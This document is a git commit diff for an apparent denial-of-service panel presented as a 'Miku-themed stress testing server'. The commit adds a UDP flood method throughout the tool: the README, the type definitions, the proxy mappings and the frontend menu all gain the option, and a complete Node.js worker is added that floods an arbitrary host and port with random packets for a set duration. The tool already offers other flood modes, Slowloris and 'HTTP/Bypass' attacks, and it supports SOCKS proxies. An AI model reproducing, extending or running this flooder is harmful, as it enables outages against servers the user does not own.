Merge bcfd3120b8
into 7707d29a2a
This commit is contained in:
commit
3649e764ac
6 changed files with 53 additions and 0 deletions
|
@ -19,6 +19,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
|
||||||
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
|
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
|
||||||
- `Minecraft Ping` - Send Minecraft ping/motd requests
|
- `Minecraft Ping` - Send Minecraft ping/motd requests
|
||||||
- `TCP Flood` - Send random TCP packets
|
- `TCP Flood` - Send random TCP packets
|
||||||
|
- `UDP Flood` - Send random UDP packets
|
||||||
|
|
||||||
## Setup 🛠️
|
## Setup 🛠️
|
||||||
|
|
||||||
|
|
|
@ -17,6 +17,7 @@ const attackWorkers: { [key in AttackMethod]: string } = {
|
||||||
http_bypass: "./workers/httpBypassAttack.js",
|
http_bypass: "./workers/httpBypassAttack.js",
|
||||||
http_slowloris: "./workers/httpSlowlorisAttack.js",
|
http_slowloris: "./workers/httpSlowlorisAttack.js",
|
||||||
tcp_flood: "./workers/tcpFloodAttack.js",
|
tcp_flood: "./workers/tcpFloodAttack.js",
|
||||||
|
udp_flood: "./workers/udpFloodAttack.js",
|
||||||
minecraft_ping: "./workers/minecraftPingAttack.js",
|
minecraft_ping: "./workers/minecraftPingAttack.js",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
|
@ -13,4 +13,5 @@ export type AttackMethod =
|
||||||
| "http_bypass"
|
| "http_bypass"
|
||||||
| "http_slowloris"
|
| "http_slowloris"
|
||||||
| "tcp_flood"
|
| "tcp_flood"
|
||||||
|
| "udp_flood"
|
||||||
| "minecraft_ping";
|
| "minecraft_ping";
|
||||||
|
|
|
@ -17,6 +17,7 @@ const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
|
||||||
http_bypass: ["http", "https", "socks4", "socks5"],
|
http_bypass: ["http", "https", "socks4", "socks5"],
|
||||||
http_slowloris: ["socks4", "socks5"],
|
http_slowloris: ["socks4", "socks5"],
|
||||||
tcp_flood: ["socks4", "socks5"],
|
tcp_flood: ["socks4", "socks5"],
|
||||||
|
udp_flood: ["socks4", "socks5"],
|
||||||
minecraft_ping: ["socks4", "socks5"],
|
minecraft_ping: ["socks4", "socks5"],
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
48
server/workers/udpFloodAttack.js
Normal file
48
server/workers/udpFloodAttack.js
Normal file
|
@ -0,0 +1,48 @@
|
||||||
|
import { parentPort, workerData } from "worker_threads";
|
||||||
|
import dgram from "dgram";
|
||||||
|
import { randomString } from "../utils/randomUtils.js";
|
||||||
|
|
||||||
|
const startAttack = () => {
|
||||||
|
const { target, duration, packetDelay, packetSize } = workerData;
|
||||||
|
|
||||||
|
const [targetHost, targetPort] = target.split(":");
|
||||||
|
const port = parseInt(targetPort, 10);
|
||||||
|
|
||||||
|
if (isNaN(port)) throw new Error("Invalid port: Should be a number");
|
||||||
|
if (port < 1 || port > 65535) throw new Error("Invalid port: Should be between 1 and 65535");
|
||||||
|
|
||||||
|
const socket = dgram.createSocket("udp4");
|
||||||
|
let totalPackets = 0;
|
||||||
|
const startTime = Date.now();
|
||||||
|
|
||||||
|
const sendPacket = () => {
|
||||||
|
const elapsedTime = (Date.now() - startTime) / 1000;
|
||||||
|
if (elapsedTime >= duration) {
|
||||||
|
socket.close();
|
||||||
|
parentPort.postMessage({ log: "Attack finished", totalPackets });
|
||||||
|
process.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
const message = randomString(packetSize);
|
||||||
|
socket.send(message, port, targetHost, (err) => {
|
||||||
|
if (err) {
|
||||||
|
parentPort.postMessage({
|
||||||
|
log: `❌ Packet failed to ${targetHost}:${port}: ${err.message}`,
|
||||||
|
totalPackets,
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
totalPackets++;
|
||||||
|
parentPort.postMessage({
|
||||||
|
log: `✅ Packet sent to ${targetHost}:${port}`,
|
||||||
|
totalPackets,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
setInterval(sendPacket, packetDelay);
|
||||||
|
};
|
||||||
|
|
||||||
|
if (workerData) {
|
||||||
|
startAttack();
|
||||||
|
}
|
|
@ -390,6 +390,7 @@ function App() {
|
||||||
<option value="http_bypass">HTTP/Bypass</option>
|
<option value="http_bypass">HTTP/Bypass</option>
|
||||||
<option value="http_slowloris">HTTP/Slowloris</option>
|
<option value="http_slowloris">HTTP/Slowloris</option>
|
||||||
<option value="tcp_flood">TCP/Flood</option>
|
<option value="tcp_flood">TCP/Flood</option>
|
||||||
|
<option value="udp_flood">UDP/Flood</option>
|
||||||
<option value="minecraft_ping">Minecraft/Ping</option>
|
<option value="minecraft_ping">Minecraft/Ping</option>
|
||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
|
|
Loading…
Add table
Reference in a new issue